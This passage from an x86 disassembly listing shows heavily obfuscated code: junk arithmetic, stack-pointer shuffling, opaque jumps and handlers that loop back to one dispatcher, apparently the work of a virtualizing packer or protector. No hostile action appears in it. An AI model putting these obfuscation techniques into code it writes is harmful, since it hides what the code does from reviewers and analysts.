		dd 6C2F59E5h, 0C381F301h, 6C2F59E5h, 4BA525Eh, 29000000h
		dd 0EC815AD3h, 4, 0FF241C89h, 5B042474h, 0FF10F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8085:				; CODE XREF: sdfs____:005A4224j
		sub	edi, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_5A134B
; ---------------------------------------------------------------------------
byte_5A809B	db 66h			; DATA XREF: sdfs____:00598F08o
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A459F
; ---------------------------------------------------------------------------
byte_5A80B3	db 0FFh			; DATA XREF: sdfs____:00598F98o
		dd 50592434h, 401168h, 24248900h, 5F8BE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A80C6:				; CODE XREF: sdfs____:005AD3EBj
		mov	ecx, 7B0C5E6Eh
		add	ecx, 0C2680828h
		jmp	loc_5A474E
; ---------------------------------------------------------------------------


loc_5A80D6:				; CODE XREF: sdfs____:0059BC92j
					; sdfs____:0059F6C5j ...
		jo	loc_5A01C3
		push	edx
		jmp	loc_5A5E76
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 5C241C33h, 89241C89h, 30EFE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A80F6:				; CODE XREF: sdfs____:005A8F4Dj
		pop	esi
		xor	ebp, edi
		mov	edi, [esp]
		jmp	loc_59C8E2
; ---------------------------------------------------------------------------
byte_5A8101	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00599064o
		dd 18726824h, 14890000h, 0AB42E924h, 0C483FFFFh, 50C3FE02h
		dd 0FFB83EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A811D:				; CODE XREF: sdfs____:005A4812j
		push	6948h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 11F169DBh
		not	ecx
		shr	ecx, 6
		add	ecx, 0FC47C5ACh
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A814F:				; CODE XREF: sdfs____:0059D470j
		add	ebp, eax
		add	ebp, 55D650DDh
		pop	eax
		jmp	loc_599E58
; ---------------------------------------------------------------------------


loc_5A815D:				; CODE XREF: sdfs____:005A6CDAj
		shl	esi, 1
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A4DE3
; ---------------------------------------------------------------------------


loc_5A816D:				; CODE XREF: sdfs____:0059D807j
		xor	ebp, 72D74617h
		add	eax, 64413917h
		add	eax, ebp
		sub	eax, 64413917h
		jmp	loc_5A0700
; ---------------------------------------------------------------------------
		dd 7FDFC181h, 0F9294FEDh, 7D01E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A8191:				; CODE XREF: sdfs____:005AB735j
		shr	ebx, 1
		push	0AE2h
		mov	[esp], ecx
		mov	ecx, 15DC3775h
		or	ebx, ecx
		pop	ecx
		push	ecx
		push	eax
		mov	eax, 368401CAh
		and	eax, 2BF00C22h
		jnb	loc_59FE0B
		sub	eax, 0AFF59EA6h
		mov	ecx, eax
		jmp	loc_5A754E
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0A4h
; ---------------------------------------------------------------------------


loc_5A81C4:				; CODE XREF: sdfs____:005A1CDEj
		sub	esp, 4
		jmp	loc_59AFED
; ---------------------------------------------------------------------------


loc_5A81CC:				; CODE XREF: sdfs____:0059FAC1j
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	al, cl
		mov	ecx, [esp]
		jmp	loc_5997B1
; ---------------------------------------------------------------------------


loc_5A81DF:				; CODE XREF: sdfs____:0059E9E0j
					; sdfs____:005A8B14j ...
		not	esi
		or	esi, 3EB528Dh
		jg	loc_59E217
		add	esi, 179EF81Ch
		mov	eax, esi
		pop	esi
		xor	esi, eax
		pop	eax


loc_5A81F9:				; CODE XREF: sdfs____:0059A76Fj
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5A99AD
; ---------------------------------------------------------------------------


loc_5A8215:				; CODE XREF: sdfs____:005A6151j
		push	ebx
		jmp	loc_59CE58
; ---------------------------------------------------------------------------


loc_5A821B:				; CODE XREF: sdfs____:005A6637j
		shr	esi, 3
		jnz	loc_5A25D4
		xor	esi, 77F4C63h
		push	esi
		jmp	loc_5992DA
; ---------------------------------------------------------------------------


loc_5A8230:				; CODE XREF: sdfs____:005A56C4j
		pop	ebx
		jmp	loc_5A44ED
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 89241489h, 4BB53E2h, 1000000h,	0EA835BDAh
		dd 24148704h, 2414895Ch, 0FF6E22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A825D:				; CODE XREF: sdfs____:005A9034j
		mov	edx, edi
		pop	edi
		add	ecx, edx
		jmp	loc_59AF2F
; ---------------------------------------------------------------------------


loc_5A8267:				; CODE XREF: sdfs____:005A06B2j
		push	edi
		jmp	loc_5AFA46
; ---------------------------------------------------------------------------
		db 0D1h, 0E1h, 0E9h
		dd 0FFFF348Dh
; ---------------------------------------------------------------------------


loc_5A8274:				; CODE XREF: sdfs____:005A6321j
		shr	esi, 4
		jnz	loc_5A6CD4
		sub	esi, 144264DDh
		jmp	loc_5A77D5
; ---------------------------------------------------------------------------
		dd 1C8BD909h, 4C48124h,	81000000h, 0A8F6D2E9h, 5C80E989h
		dd 0B168FFFFh, 8900005Fh, 0BB241Ch, 81000000h, 4ECh, 24048900h
		dd 6C005EB8h, 30C38112h, 0E91CA76Fh, 0FFFFCCDEh
; ---------------------------------------------------------------------------


loc_5A82C4:				; CODE XREF: sdfs____:0059F4D3j
		mov	ebp, 0DDC6672h
		jmp	loc_5A3282
; ---------------------------------------------------------------------------


loc_5A82CE:				; CODE XREF: sdfs____:00599355j
		jmp	loc_5A5F65
; ---------------------------------------------------------------------------


loc_5A82D3:				; CODE XREF: sdfs____:005A5730j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5991F8
; ---------------------------------------------------------------------------


loc_5A82FC:				; CODE XREF: sdfs____:0059BB14j
		pop	ecx
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 26DA6BC3h
		push	esi
		mov	esi, 15592A5Dh
		jmp	loc_59DDF4
; ---------------------------------------------------------------------------


loc_5A8317:				; CODE XREF: sdfs____:005A93E9j
					; sdfs____:005ACDFBj
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A832C:				; CODE XREF: sdfs____:005AB0B6j
		mov	[esp], dx
		push	eax
		mov	ah, 55h
		inc	ah
		neg	ah
		jz	loc_5A888C
		not	ah
		jmp	loc_59ADA3
; ---------------------------------------------------------------------------


loc_5A8344:				; CODE XREF: sdfs____:005A3F5Ej
		shl	bh, 2
		xor	bh, 0AFh
		jmp	loc_59D34A
; ---------------------------------------------------------------------------


loc_5A834F:				; CODE XREF: sdfs____:005AB41Ej
		xor	al, cl
		pop	ecx
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5AC71D
; ---------------------------------------------------------------------------


loc_5A835F:				; CODE XREF: sdfs____:005ACA99j
		not	al
		and	al, 8Dh
		js	loc_5A23E9
		add	al, 5Fh
		mov	dl, al
		mov	eax, [esp]
		mov	al, dl
		pop	edi


loc_5A8373:				; CODE XREF: sdfs____:005A78CBj
		push	eax
		jmp	loc_59A711
; ---------------------------------------------------------------------------


loc_5A8379:				; CODE XREF: sdfs____:005A8C3Ej
		mov	esp, [esp]
		or	eax, eax
		jz	loc_59993B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5AF49F
; ---------------------------------------------------------------------------


loc_5A839C:				; CODE XREF: sdfs____:0059D255j
		push	edi
		jmp	loc_5ACAE1
; ---------------------------------------------------------------------------


loc_5A83A2:				; CODE XREF: sdfs____:005AABC9j
		pop	esp
		xchg	edx, [esp]
		pop	esp
		push	4E5Fh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59D292
; ---------------------------------------------------------------------------


loc_5A83B6:				; CODE XREF: sdfs____:0059E815j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5A71A3
; ---------------------------------------------------------------------------
		db 1
		dd 0EBF5E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A83CA:				; CODE XREF: sdfs____:0059AC6Fj
					; sdfs____:005A3B49j
		sub	al, dl
		pop	dx
		push	ebx
		push	dx
		mov	dl, 44h
		mov	bh, dl
		pop	dx
		and	bh, 0D6h
		add	bh, 0DBh
		jmp	loc_59D599
; ---------------------------------------------------------------------------


loc_5A83E2:				; CODE XREF: sdfs____:005AE660j
		add	ebp, ecx
		push	edi
		mov	edi, 6EE47C50h
		sub	ebp, edi
		pop	edi
		pop	ecx
		add	ebp, eax
		jmp	loc_5AE34A
; ---------------------------------------------------------------------------
		db 35h,	96h, 72h
		dd 870F001Eh, 0FFFFE1BDh, 5DADCA2Dh, 58C689DDh
		db 83h,	0EEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A840B:				; CODE XREF: sdfs____:0059C4BEj
		neg	edi
		add	edi, 0C04B30D3h
		add	ebx, edi
		pop	edi
		push	edi
		jmp	loc_5A5A2C
; ---------------------------------------------------------------------------


loc_5A841C:				; CODE XREF: sdfs____:005A0B48j
		add	bh, 0D7h
		jo	loc_59B114
		add	bh, 22h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		pop	ebx
		jmp	loc_5A271A
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C1h, 0D0E95C24h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8453:				; CODE XREF: sdfs____:loc_5AAAFCj
		sub	esi, 5E7E5D24h
		jbe	loc_59C42F
		jmp	loc_59E116
; ---------------------------------------------------------------------------


loc_5A8464:				; CODE XREF: sdfs____:005A6DE1j
		mov	ebx, 4
		sub	ebp, 7C7324F7h
		add	ebp, ebx
		add	ebp, 7C7324F7h
		pop	ebx
		jmp	loc_59B4B1
; ---------------------------------------------------------------------------


loc_5A847D:				; CODE XREF: sdfs____:0059EC6Bj
		push	227Fh
		mov	[esp], edi
		push	edx
		push	163E4E62h
		pop	edx
		dec	edx
		xor	edx, 123635C0h
		push	esi
		jmp	loc_5A6676
; ---------------------------------------------------------------------------


loc_5A8499:				; CODE XREF: sdfs____:005A483Bj
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 5D4F47D5h
		sub	edi, 0B073D8Eh
		add	edi, eax
		add	edi, 0B073D8Eh
		push	ebx
		mov	ebx, 5D4F47D5h
		jmp	loc_5AB550
; ---------------------------------------------------------------------------


loc_5A84C1:				; CODE XREF: sdfs____:005ADD7Cj
		pop	dword ptr [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		and	ecx, edi
		mov	edi, [esp]
		push	esi
		push	5EB4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 8902B2Ah
		sub	edi, 8902B26h
		jmp	loc_59D134
; ---------------------------------------------------------------------------


loc_5A8501:				; CODE XREF: sdfs____:0059F52Ej
		pop	edx
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		push	436Bh
		jmp	loc_5ACF10
; ---------------------------------------------------------------------------


loc_5A8514:				; CODE XREF: sdfs____:005A8A14j
		pop	edi
		xor	[edi+24h], edx
		push	ebx
		mov	ebx, 24h
		jmp	loc_5A6B66
; ---------------------------------------------------------------------------


loc_5A8523:				; CODE XREF: sdfs____:005ACF13j
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5A9C15
; ---------------------------------------------------------------------------


loc_5A852E:				; CODE XREF: sdfs____:005B0001j
		pop	ebp
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 94F7E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A853A:				; CODE XREF: sdfs____:005AEC8Bj
		sub	bl, 0F8h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_5A52B1
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C2404h, 0FFFF879Dh
; ---------------------------------------------------------------------------


loc_5A8554:				; CODE XREF: sdfs____:005AA1A6j
		mov	[esp], eax
		sub	dword ptr [esp], 4DF9684Eh
		jmp	loc_5ADDC1
; ---------------------------------------------------------------------------


loc_5A8563:				; CODE XREF: sdfs____:0059E223j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	esi, 3BE12683h
		jbe	loc_5A2C6D
		shl	esi, 5
		dec	esi
		xor	esi, 7C65D4DEh
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5A740F
; ---------------------------------------------------------------------------


loc_5A8593:				; CODE XREF: sdfs____:005A795Cj
		push	6C49h
		mov	[esp], eax
		jmp	loc_59AC9C
; ---------------------------------------------------------------------------


loc_5A85A0:				; CODE XREF: sdfs____:005A2D4Cj
		pop	ebx
		add	esp, 4
		jmp	loc_5A2D20
; ---------------------------------------------------------------------------


loc_5A85A9:				; CODE XREF: sdfs____:0059BE66j
		mov	ebx, esi
		pop	esi
		add	ebp, 32783E2Ah
		add	ebp, ebx
		sub	ebp, 32783E2Ah
		pop	ebx
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_5A90E6
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 0EFC104C4h, 148B0F07h, 57FFFFC7h, 0FF2414F7h, 0E95F2434h
		dd 0FFFF2667h
; ---------------------------------------------------------------------------


loc_5A85E0:				; CODE XREF: sdfs____:0059D41Cj
					; DATA XREF: sdfs____:0059900Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A85EF:				; CODE XREF: sdfs____:005A0519j
		or	ebx, 1FD56D0Fh
		jle	loc_5A6297
		shr	ebx, 4
		jnp	loc_5A4C75
		add	ebx, 1F06FFEAh
		add	ebx, 4BE25305h
		push	esi
		mov	ebp, ebp


loc_5A8613:				; CODE XREF: sdfs____:0059A0A7j
		add	esp, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5AFB9D
; ---------------------------------------------------------------------------


loc_5A862A:				; CODE XREF: sdfs____:005A9E3Dj
		mov	eax, 32D04FAFh
		or	eax, 44793B55h
		jo	loc_5ACC65
		jmp	loc_5A06AF
; ---------------------------------------------------------------------------


loc_5A863F:				; CODE XREF: sdfs____:005B01C6j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 3ED03ECAh
		jmp	loc_59E9F6
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 0Ch
		dd 0E6895624h, 4BD55h, 0EE010000h, 4C6815Dh, 87000000h
		dd 248B2434h, 5BDE0124h, 4582E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A8675:				; CODE XREF: sdfs____:005AB68Bj
		jmp	loc_5A4624
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 43B3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8682:				; CODE XREF: sdfs____:0059CCEFj
					; sdfs____:005A0E2Cj
		add	ebp, 3570721Fh
		mov	edi, ebp
		pop	ebp
		add	edi, 5BEF5E7Eh
		add	edi, 5C697FC6h
		sub	edi, 8E1ACB1Fh
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	ebp, 3D587D92h
		inc	ebp
		push	eax
		mov	eax, 4BB578B6h
		and	ebp, eax
		jmp	loc_59B210
; ---------------------------------------------------------------------------


loc_5A86BA:				; CODE XREF: sdfs____:005A1677j
		sub	edx, 7951785Eh
		pop	ebp
		jmp	loc_5AA630
; ---------------------------------------------------------------------------


loc_5A86C6:				; CODE XREF: sdfs____:005B0060j
		push	5AC6h
		jmp	loc_5A7676
; ---------------------------------------------------------------------------


loc_5A86D0:				; CODE XREF: sdfs____:0059C78Ej
		push	ebp
		push	edi
		push	5C6E4EF8h
		jmp	loc_5A7BD9
; ---------------------------------------------------------------------------


loc_5A86DC:				; CODE XREF: sdfs____:005AE431j
		pop	edx
		jmp	loc_5AFF0F
; ---------------------------------------------------------------------------


loc_5A86E2:				; CODE XREF: sdfs____:005AB2F3j
		mov	al, 80h
		sub	cl, al
		pop	ax
		jmp	loc_59CBC4
; ---------------------------------------------------------------------------


loc_5A86ED:				; CODE XREF: sdfs____:005AEAECj
		mov	cl, 48h
		or	cl, 42h
		jg	loc_5AF397
		jmp	loc_5A44ED
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 40FC6824h
		db 2 dup(0), 59h
; ---------------------------------------------------------------------------


loc_5A8707:				; CODE XREF: sdfs____:005A9B89j
		jmp	loc_59F3B6
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	0CB1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A8719:				; CODE XREF: sdfs____:0059B115j
					; sdfs____:005A9EF9j ...
		mov	ecx, 0D12BE4BFh
		xor	edx, ecx
		pop	ecx
		add	esi, edx
		jmp	loc_59B92D
; ---------------------------------------------------------------------------


loc_5A8728:				; CODE XREF: sdfs____:005AD6ACj
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59A2C3
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 83240489h, 248904ECh, 24048324h, 24048B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5999A0
; ---------------------------------------------------------------------------


loc_5A8750:				; CODE XREF: sdfs____:00599D85j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A7A58
; ---------------------------------------------------------------------------


loc_5A8766:				; CODE XREF: sdfs____:0059999Bj
		jp	loc_5A28BD
		jmp	loc_5AEE8D
; ---------------------------------------------------------------------------


loc_5A8771:				; CODE XREF: sdfs____:0059A90Dj
		add	ebx, 59C76904h
		add	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebp, 2
		push	1E10h
		mov	[esp], ebp
		jmp	loc_5AFE15
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 7CECE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A87A2:				; CODE XREF: sdfs____:0059ADECj
		push	0
		sub	[esp], ebx
		pop	ebx
		sub	ebx, 0D4B0C2CAh
		sub	edi, 431230C1h
		add	edi, ebx
		add	edi, 431230C1h
		pop	ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A5087
; ---------------------------------------------------------------------------
		db 41h
		dd 5E9D1F7h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A87DF:				; CODE XREF: sdfs____:005A755Dj
		mov	esi, 46E01DFh
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0D3302BFh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 0D3302BFh
		push	edi
		push	esi
		push	43C36831h
		pop	esi
		mov	edi, esi
		pop	esi
		shl	edi, 5
		sub	edi, 0FFFFFFFFh
		neg	edi
		not	edi
		jmp	loc_5A471B
; ---------------------------------------------------------------------------


loc_5A881F:				; CODE XREF: sdfs____:0059CD0Dj
		add	esp, 4
		and	al, 9Bh
		jmp	loc_59EF96
; ---------------------------------------------------------------------------
byte_5A8829	db 0ADh, 0E9h, 3Dh	; DATA XREF: sdfs____:00598F34o
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A882F:				; CODE XREF: sdfs____:005AEF12j
		push	ecx
		jmp	loc_5ADEE6
; ---------------------------------------------------------------------------


loc_5A8835:				; CODE XREF: sdfs____:0059B4B2j
		push	ecx
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59D0F4
; ---------------------------------------------------------------------------


loc_5A8843:				; CODE XREF: sdfs____:005AEAC7j
		xor	edi, 8415E0Eh
		jz	loc_59CCCD
		sub	edi, 0FB368CE3h
		sub	edi, 238F3AA4h
		jmp	loc_5ABF4E
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF10100h, 8904EC83h, 4BE2434h, 0E9000000h, 62E1h
		dd 0F02E8C1h, 0FFA09B8Bh, 691368FFh, 0C890000h,	5BF58B24h
; ---------------------------------------------------------------------------


loc_5A888C:				; CODE XREF: sdfs____:005A8337j
		not	ah
		jmp	loc_59DEB7
; ---------------------------------------------------------------------------
		db 89h
		dd 0ED815FFAh, 4FE976EDh, 0B850D501h, 5E690AC5h, 0AFE9D0F7h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A88AB:				; CODE XREF: sdfs____:005ADAC6j
		mov	ebx, ecx
		jmp	loc_5AF5EA
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 4E88359h, 5C240487h,	704EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A88C1:				; CODE XREF: sdfs____:loc_59F62Fj
					; sdfs____:005A8DC1j
		jle	loc_5ABC97
		sub	ebx, 227749C7h
		sub	ebx, 5E0E70E6h
		mov	bh, bh
		push	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AFCEE
; ---------------------------------------------------------------------------


loc_5A88ED:				; CODE XREF: sdfs____:005AB9EEj
		mov	dx, [esp]
		add	esp, 2
		mov	bp, [esp]
		add	esp, 2
		push	dx
		push	small word ptr [esp+2]
		pop	dx
		pop	small word ptr [esp]
		mov	dx, [esp]
		jmp	loc_59BBB7
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 8904EC83h, 0E189240Ch, 4C181h, 0C1830000h
		dd 240C3304h, 0FF46AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8931:				; CODE XREF: sdfs____:005A3748j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_599D64
; ---------------------------------------------------------------------------


loc_5A893C:				; CODE XREF: sdfs____:005A61BDj
					; sdfs____:005AC11Bj
		pop	ecx
		push	1E3Fh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5A7508
; ---------------------------------------------------------------------------


loc_5A894C:				; CODE XREF: sdfs____:005AD7CFj
		inc	ebx
		or	ebx, 75B5365Bh
		jmp	loc_59E496
; ---------------------------------------------------------------------------
		dd offset dword_44B1A4+4BC4h
		dd 240C8900h, 4EC81h, 1C890000h, 4BB24h, 0B2E90000h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8973:				; CODE XREF: sdfs____:005A960Fj
		mov	ecx, 50A791Ah
		mov	edx, 653A47FFh
		xor	edx, ecx
		jmp	loc_59CA94
; ---------------------------------------------------------------------------


loc_5A8984:				; CODE XREF: sdfs____:005A1056j
		pop	esi
		add	ecx, eax
		add	ecx, 0B763F1Dh
		jmp	loc_5ABBB8
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 15BD989h,	0EF8359CFh, 243C8704h, 0E924248Bh, 0FFFF77D9h
; ---------------------------------------------------------------------------


loc_5A89AC:				; CODE XREF: sdfs____:0059FFF4j
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1
		push	32A5h
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebp
		pop	eax
		jmp	loc_5AFEEB
; ---------------------------------------------------------------------------


loc_5A89D9:				; CODE XREF: sdfs____:005A9DB0j
		mov	eax, [esp]
		add	esp, 4
		push	30C1h
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_59A0BE
; ---------------------------------------------------------------------------


loc_5A89F9:				; CODE XREF: sdfs____:005AA37Aj
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	bl, 10h
		mov	ch, bl
		push	dword ptr [esp]
		jmp	loc_5ABD6E
; ---------------------------------------------------------------------------


loc_5A8A0A:				; CODE XREF: sdfs____:005AE2FEj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		pop	edx
		jmp	loc_5A8514
; ---------------------------------------------------------------------------


loc_5A8A19:				; CODE XREF: sdfs____:005A63A4j
		push	16C2h
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 298F0311h
		push	ebp
		mov	ebp, 5D6A7F92h
		inc	ebp
		neg	ebp
		and	ebp, 40091A18h
		inc	ebp
		add	ebp, 57C22405h
		jmp	loc_5A2025
; ---------------------------------------------------------------------------


loc_5A8A44:				; CODE XREF: sdfs____:0059AC5Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	37CEh
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5AEC34
; ---------------------------------------------------------------------------


loc_5A8A64:				; CODE XREF: sdfs____:005A6F3Fj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_5AF7DA
; ---------------------------------------------------------------------------


loc_5A8A7A:				; CODE XREF: sdfs____:0059A1F7j
		add	ecx, 5C94AA4h
		mov	eax, ecx
		pop	ecx
		add	edx, 7F8D06B1h
		jmp	loc_5ABA61
; ---------------------------------------------------------------------------


loc_5A8A8E:				; CODE XREF: sdfs____:005A993Dj
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_59C2DB
; ---------------------------------------------------------------------------


loc_5A8A99:				; CODE XREF: sdfs____:005A468Cj
		inc	ax
		not	ax
		not	ax
		jmp	loc_59CD71
; ---------------------------------------------------------------------------
		dw 6850h
		dd 2BBA323Bh, 582434FFh, 0E904C483h, 0FFFFE54Fh, 0FF2434FFh
		dd 148B2434h, 0E0895024h, 405h,	67BCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8ACE:				; CODE XREF: sdfs____:005A3F9Dj
					; sdfs____:005A6461j
		jmp	loc_59C4E2
; ---------------------------------------------------------------------------


loc_5A8AD3:				; CODE XREF: sdfs____:00599DB2j
		add	esp, 4
		push	ebx
		mov	bh, 46h
		and	bh, 12h
		jns	loc_59CD88
		xor	bh, 32h
		shl	bh, 2
		shr	bh, 4
		push	ecx
		push	esp


loc_5A8AF0:				; CODE XREF: sdfs____:005AC5F7j
		push	ebp
		xor	dword ptr [esp], 7F8E76EBh
		pop	esi
		push	eax
		push	esi
		mov	esi, 74546E52h
		xor	esi, 1373129Eh
		js	loc_5AA4F7
		neg	esi
		jge	loc_59F1F3
		jmp	loc_5A81DF
; ---------------------------------------------------------------------------


loc_5A8B19:				; CODE XREF: sdfs____:00599205j
		push	esp
		pop	esi
		push	edi
		jmp	loc_5A9614
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 219Ah
; ---------------------------------------------------------------------------


loc_5A8B2C:				; CODE XREF: sdfs____:0059ECDDj
		push	703Ch
		jmp	loc_5B00D8
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 1876E924h
		db 2 dup(0)
word_5A8B3E	dw 34FFh		; DATA XREF: sdfs____:00598FE4o
aXsi		db '$Xéë%',0
		dw 8B00h
		dd 0C481240Ch, 4, 685F5457h, 7190h, 0E9241489h,	0FFFF1E9Fh
		dd 4B30F66h, 0A4E99C24h
		db 5, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8B6B:				; CODE XREF: sdfs____:005A7549j
		pop	esp
		push	4861h
		mov	[esp], edx
		push	4
		pop	edx
		add	ecx, 1850243h
		jmp	loc_5ACA40
; ---------------------------------------------------------------------------


loc_5A8B85:				; CODE XREF: sdfs____:005B0112j
		jmp	loc_5A1531
; ---------------------------------------------------------------------------


loc_5A8B8A:				; CODE XREF: sdfs____:005A9A14j
		sub	dword ptr [esp], 464903D9h
		jmp	loc_5A9092
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 720FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8B9E:				; CODE XREF: sdfs____:005AC09Aj
		sub	edi, 4AE172Ah
		jmp	loc_5AC073
; ---------------------------------------------------------------------------


loc_5A8BA9:				; CODE XREF: sdfs____:005AF8D2j
		mov	edx, 42FF53A6h
		inc	edx
		neg	edx
		and	edx, 71FB74D5h
		add	edx, 14884FE3h
		xor	esi, edx
		pop	edx
		sub	ebx, esi
		pop	esi
		jmp	loc_5A7C47
; ---------------------------------------------------------------------------


loc_5A8BC8:				; CODE XREF: sdfs____:0059E056j
